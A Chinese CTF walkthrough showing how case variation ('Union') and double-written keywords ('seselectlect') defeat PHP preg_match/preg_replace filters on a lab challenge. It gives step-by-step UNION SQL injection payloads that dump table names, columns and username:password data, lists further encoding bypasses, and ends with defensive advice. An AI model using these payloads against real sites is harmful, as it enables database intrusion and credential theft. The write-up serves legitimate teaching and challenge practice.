【CTF Web安全】PHP正则过滤 SQL注入双写绕过保姆级实战复现
一、前言
在CTF Web安全题型中,关键词正则过滤绕过SQL注入是仅次于基础联合注入的高频考点。题目会通过PHP正则函数拦截union、select等核心注入关键词,封禁常规注入Payload。
很多新手遇到过滤场景直接无从下手,本文将针对 preg_match + preg_replace 双层过滤环境,拆解大小写变形绕过+双写关键词绕过组合技巧,手把手完成从漏洞探测到获取Flag的全过程复现。
二、题目环境与核心源码解析
2.1 题目基本信息
-
目标地址:http://180.76.235.121:33259/?id=1
-
请求方式:GET请求
-
漏洞类型:字符型SQL注入
-
核心考点:PHP正则过滤特性、关键词双写绕过、大小写变形绕过
2.2 题目防护源码逐行解析
题目核心防护代码如下,通过两个正则函数对注入核心关键词进行拦截和清空,我们逐一分析漏洞缺陷:
<?php // 核心过滤逻辑 if (preg_match('/union/', $id)) { die('no union'); } $id = preg_replace('/select/i', '', $id); ?>
防护规则1:preg_match 拦截union关键词
正则表达式 /union/无i修饰符,仅精准匹配全小写的 union 字符串。只要传入参数包含小写union就会直接终止程序,输出 no union,但对大小写混合、大写变形完全无效。
防护规则2:preg_replace 清空select关键词
正则表达式 /select/i携带i修饰符,不区分大小写匹配select,匹配成功后将关键词替换为空字符串。该函数仅执行单次匹配替换,存在经典的双写绕过漏洞。
三、双层过滤绕过核心思路
针对两种不同的正则防护机制,我们采用差异化绕过方案,组合构造可用注入Payload:
3.1 union 拦截绕过:大小写变形
由于 preg_match 仅识别小写union,我们只需打破全小写格式即可完美绕过。
-
禁止使用:
union(全小写,会被拦截) -
可用变形:
Union、UNION、uNiOn等大小写混合格式
3.2 select 清空绕过:双写关键词
preg_replace 仅单次匹配替换字符串,不会循环过滤。利用该特性构造双写关键词,替换后可自动拼接还原完整select。
-
构造变形:
seselectlect -
绕过原理:函数匹配中间的
select并清空,剩余前后字符拼接,还原为完整的select -
替换过程:seselectlect → 替换中间select为空 → select
四、漏洞确认与Payload构造实战
步骤1:确认注入点与闭合方式
1. 正常访问测试:http://180.76.235.121:33259/?id=1,页面正常输出内容,id参数可控。
2. 单引号闭合测试:http://180.76.235.121:33259/?id=1',页面出现SQL语法报错。
结论:目标为字符型SQL注入,需使用单引号闭合原有SQL语句。
步骤2:构造完整绕过Payload
结合上述绕过思路,组合关键词变形,构造查询数据库名的核心Payload:
?id=1' Union seselectlect 1,database() %23
参数逐段解析:
-
1':单引号闭合后端原SQL语句,构造恶意语句执行条件 -
Union:首字母大写变形,绕过小写union正则拦截 -
seselectlect:双写关键词,绕过select清空过滤,自动还原有效查询关键词 -
1,database():联合查询字段,查询当前数据库名称 -
%23:URL编码的#注释符,注释多余SQL语句,避免语法报错
步骤3:Payload执行结果
发送请求后,页面成功执行SQL语句并返回提示:
好像报错注入也用不了,不显示报错内容啊!数据库名是一个文件名,访问这个文件试试!
由此证明:双层正则防护已被成功绕过,恶意SQL语句可正常执行。
五、完整注入流程,逐级获取Flag
全程复用上述绕过规则,依次查询数据表、字段、核心Flag数据。
1. 查询当前数据库所有表名
?id=1' Union seselectlect 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
查询结果:得到数据表名 users
2. 查询users表所有字段名
?id=1' Union seselectlect 1,group_concat(column_name) from information_schema.columns where table_name='users' %23
查询结果:得到字段 id,username,password
3. 查询数据表数据,获取Flag
?id=1' Union seselectlect 1,concat(username,':',password) from users %23
最终回显数据:username:1 password:flag_0fb5aa9e7.txt
password字段内容即为本题核心Flag,注入通关!
六、核心原理总结与同类绕过技巧
6.1 本题绕过原理对照表
|
防护函数与规则 |
绕过方式 |
核心原理 |
|---|---|---|
|
preg_match('/union/') 小写精准匹配 |
大小写变形(Union/UNION) |
无i修饰符,仅识别全小写关键词,大小写混合无法匹配拦截 |
|
preg_replace('/select/i') 不区分大小写清空 |
双写关键词(seselectlect) |
单次替换特性,中间关键词被清空,前后字符拼接还原有效指令 |
6.2 同类正则过滤通用绕过技巧
|
过滤场景 |
通用绕过方式 |
示例 |
|---|---|---|
|
无大小写匹配的preg_match |
大小写变形、注释穿插绕过 |
KeyWord、key/*word*/ |
|
不区分大小写preg_replace单次过滤 |
双写、嵌套关键词绕过 |
kekeywordyword 替换还原为 keyword |
|
多关键词严格过滤 |
URL编码、Unicode编码、分段拼接 |
%73%65%6c%65%63%74(select编码) |
6.3 安全防御优化建议
-
正则匹配统一添加
/i修饰符,实现大小写不敏感全局匹配,杜绝变形绕过; -
对用户输入执行循环多次过滤,解决单次替换导致的双写绕过漏洞;
-
杜绝直接拼接用户可控参数至SQL语句,使用MySQL预编译语句+参数绑定,从底层杜绝SQL注入;
-
对特殊字符、注释符、SQL关键字做全局黑名单拦截。
七、结语
本题是CTF Web安全中正则过滤绕过注入的经典入门题型,核心不在于复杂的Payload构造,而是理解 preg_match 和 preg_replace 两个PHP正则函数的执行特性与缺陷。
掌握大小写变形和双写关键词两大核心绕过技巧,可以解决80%以上的基础关键词过滤注入题型,为后续堆叠注入、复杂WAF绕过等高阶题型打下坚实基础。
更多推荐
所有评论(0)